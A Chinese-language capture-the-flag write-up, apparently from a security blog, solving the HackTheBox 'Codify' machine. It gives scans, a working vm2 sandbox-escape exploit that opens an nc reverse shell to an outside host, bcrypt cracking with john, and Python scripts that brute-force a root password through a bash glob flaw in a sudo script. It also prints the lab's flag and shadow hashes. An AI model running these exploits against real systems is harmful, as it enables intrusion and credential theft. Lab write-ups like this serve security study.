知识点:Sandbox Escape in vm2;Bash Pitfalls
Scan
这里由于网络波动问题,我两次扫描的结果不一样,我记得有扫出高端口还有3000,但是3000访问后和80好像是一样的,这里就不管了,继续80的渗透。
┌──(kali㉿kali)-[~/Desktop/htb/codify]
sudo nmap -sT --min-rate 10000 -p- 10.10.11.239
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-06 05:55 EST
Warning: 10.10.11.239 giving up on port because retransmission cap hit (10).
Nmap scan report for codify.htb (10.10.11.239)
Host is up (0.25s latency).
Not shown: 52543 filtered tcp ports (no-response), 12990 closed tcp ports (conn-refused)
PORT STATE SERVICE
open ssh
open http
Nmap done: 1 IP address (1 host up) scanned in 159.42 seconds
#
nmap -sC -sV -T5 -Pn 10.10.11.239
nmap -sC -sV 10.10.11.239
sandbox escape
扫出80加入hosts后直接web访问,由具体扫描结果发现是一个nodejs express框架。
主页有多个跳转路由,一个个看看,limitation中提示了我们过滤了部分的引用,所以我们并不能直接调用child_process进行很方便的RCE。
点击进about us的跳转,我们可以发现vm2 library 。还有editor,明显是nodejs的沙盒测试。上网搜索nodejs发现由沙盒未授权RCE。
文章:https://www.bleepingcomputer.com/news/security/new-sandbox-escape-poc-exploit-available-for-vm2-library-patch-now/?source=post_page-----933488bfbfff--------------------------------#google_vignette
可以根据文章找到exp,这里使用Node.js 中的 vm2 模块来运行 JavaScript 代码,并伪装成一个无害的代码段,实际上包含了恶意代码,其中的恶意代码试图执行一个反向 shell 攻击。直接使用bash无法getshell,这里使用pipe大法。
const {VM} = require("vm2");
const vm = new VM();
const code = `
err = {};
const handler = {
getPrototypeOf(target) {
(function stack() {
new Error().stack;
stack();
})();
}
};
const proxiedErr = new Proxy(err, handler);
try {
throw proxiedErr;
} catch ({constructor: c}) {
c.constructor('return process')().mainModule.require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.14.21 8888>/tmp/f');
}
`
console.log(vm.run(code));
getshell后进行信息手机,最后在/var/www/contact发现一个db文件,下载到本地来发现是一个sqlite数据库文件,我们从中读到了joshua的密码hash。把密码保存起来用john爆破即可得到明文密码进行ssh连接。
┌──(root㉿kali)-[/home/kali/Desktop/htb/codify]
john -w:/usr/share/wordlists/rockyou.txt hash
Created directory: /root/.john
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 4096 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
spongebob1 (joshua)
1g 0:00:00:34 DONE (2023-11-06 06:46) 0.02865g/s 39.19p/s 39.19c/s 39.19C/s crazy1..angel123
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Root
sudo -l查看当前用户可以以root权限执行上面,然后发现/opt/scripts/mysql-backup.sh,读一下
读取后并给出各行注释
# 设置 MySQL 数据库的用户名
DB_USER="root"
# 从文件中读取 MySQL 数据库密码
DB_PASS=$(/usr/bin/cat /root/.creds)
# 指定备份目录
BACKUP_DIR="/var/backups/mysql"
# 提示用户输入 MySQL 用户(root)的密码
read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
/usr/bin/echo
# 检查用户输入的密码是否与存储的密码匹配
if [[ $DB_PASS == $USER_PASS ]]; then
/usr/bin/echo "Password confirmed!"
else
/usr/bin/echo "Password confirmation failed!"
exit 1
fi
# 创建备份目录(如果不存在)
/usr/bin/mkdir -p "$BACKUP_DIR"
# 获取所有数据库的列表,排除系统数据库
databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;" | /usr/bin/grep -Ev "(Database|information_schema|performance_schema)")
# 遍历每个数据库并执行备份操作
for db in $databases; do
/usr/bin/echo "Backing up database: $db"
# 使用 mysqldump 命令备份数据库,然后使用 gzip 压缩
/usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" | /usr/bin/gzip > "$BACKUP_DIR/$db.sql.gz"
done
# 备份完成后输出成功信息
/usr/bin/echo "All databases backed up successfully!"
# 更改备份目录的权限,将所有者改为 root,组改为 sys-adm
/usr/bin/echo "Changing the permissions"
/usr/bin/chown root:sys-adm "$BACKUP_DIR"
# 更改备份目录及其内容的权限,使其可读写
/usr/bin/chmod 774 -R "$BACKUP_DIR"
# 输出完成信息
/usr/bin/echo 'Done!'
由于是公共靶场,我这里是ssh一进来桌面就有exp,我直接上车了,把别人的exp偷来看看:
import os
import string
charset = string.printable
resfult = ""
def get(i):
temp_hash = os.popen(f"echo '{i}'* | sudo /opt/scripts/mysql-backup.sh").read().split("n")[1]
return temp_hash == 'Password confirmed!'
def find_char():
for i in charset:
test_data = resfult + i
if get(test_data):
return i
return None
while True:
new_char = find_char()
print(f"pass: {resfult + new_char}")
if not new_char:
break
else:
resfult += new_char
自己正常打一下:
阅读sh文件,我们发现它是拿$DB_PASS跟 $USER_PASS做比较,如输入一个字符,$USER_PASS是对输入的内容进行提取,学过linux的都知道,输入*号?号等都可以绕过验证。
相关文章:https://github.com/anordal/shellharden/blob/master/how_to_do_things_safely_in_bash.md?source=post_page-----933488bfbfff--------------------------------
https://mywiki.wooledge.org/BashPitfalls?source=post_page-----933488bfbfff--------------------------------
那么我只需要上传一个pspy64在一个终端监控进程即可,然后再另一个终端输入
echo "*" |sudo /opt/scripts/mysql-backup.sh
写脚本也可以,思路很明朗,就是爆破从第一个字符开始配个星号直到正确保存那个值再继续下一轮也就是第二个字符的爆破
import string
import subprocess
# 创建包含大写字母、小写字母和数字的字符集
all = list(string.ascii_letters + string.digits)
# 初始化密码为空字符串
password = ""
# 初始化标志 found 为 False,表示尚未找到正确的密码
found = False
# 进入循环,直到找到正确的密码
while not found:
for character in all:
# 构建命令,每次尝试将密码与字符集中的字符连接
command = f"echo '{password}{character}*' | sudo /opt/scripts/mysql-backup.sh"
# 运行命令并捕获标准输出
output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout
# 检查输出是否包含 "Password confirmed!",表示密码尝试成功
if "Password confirmed!" in output:
# 将字符添加到密码中
password += character
# 输出当前已知的密码
print(password)
# 找到密码后,退出当前循环,继续下一轮
break
else:
# 如果字符集中的所有字符都尝试过,说明密码没有找到
found = True
# 循环结束后,如果 found 仍然为 False,表示密码未找到
拿到root密码,最后直接su root即可
root@codify:/home/joshua# cat /root/root.txt
090a94e632795bb528562f45d50c914e
root@codify:/home/joshua# cat /etc/shadow
root:$y$j9T$BBviiq1eNRUe8DLwu.mU61$WSfwzensYi9zIITP5VaFmA6wmTOza/5hbDf0jvo1ZS0:19507:0:99999:7:::
daemon:*:19213:0:99999:7:::
bin:*:19213:0:99999:7:::
sys:*:19213:0:99999:7:::
sync:*:19213:0:99999:7:::
games:*:19213:0:99999:7:::
man:*:19213:0:99999:7:::
lp:*:19213:0:99999:7:::
mail:*:19213:0:99999:7:::
news:*:19213:0:99999:7:::
uucp:*:19213:0:99999:7:::
proxy:*:19213:0:99999:7:::
www-data:*:19213:0:99999:7:::
backup:*:19213:0:99999:7:::
list:*:19213:0:99999:7:::
irc:*:19213:0:99999:7:::
gnats:*:19213:0:99999:7:::
nobody:*:19213:0:99999:7:::
_apt:*:19213:0:99999:7:::
systemd-network:*:19213:0:99999:7:::
systemd-resolve:*:19213:0:99999:7:::
messagebus:*:19213:0:99999:7:::
systemd-timesync:*:19213:0:99999:7:::
pollinate:*:19213:0:99999:7:::
sshd:*:19213:0:99999:7:::
syslog:*:19213:0:99999:7:::
uuidd:*:19213:0:99999:7:::
tcpdump:*:19213:0:99999:7:::
tss:*:19213:0:99999:7:::
landscape:*:19213:0:99999:7:::
usbmux:*:19374:0:99999:7:::
lxd:!:19374::::::
dnsmasq:*:19459:0:99999:7:::
joshua:$y$j9T$u5RmR.i3n0eWNlz3TzNwW1$70opNAIyjWmEs5kR5suhb9xTavS294cdqpt3jB2T.H6:19507:0:99999:7:::
svc:$y$j9T$g22oO8nqTahqa94dBOVRu1$2xgi2cpPO/EWoP4EMFxhhLBwpCWASWaZTap9YtxqkV.:19612:0:99999:7:::
fwupd-refresh:*:19626:0:99999:7:::
_laurel:!:19626::::::
原文始发于微信公众号(搁浅安全):HTB-Codify(Easy)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论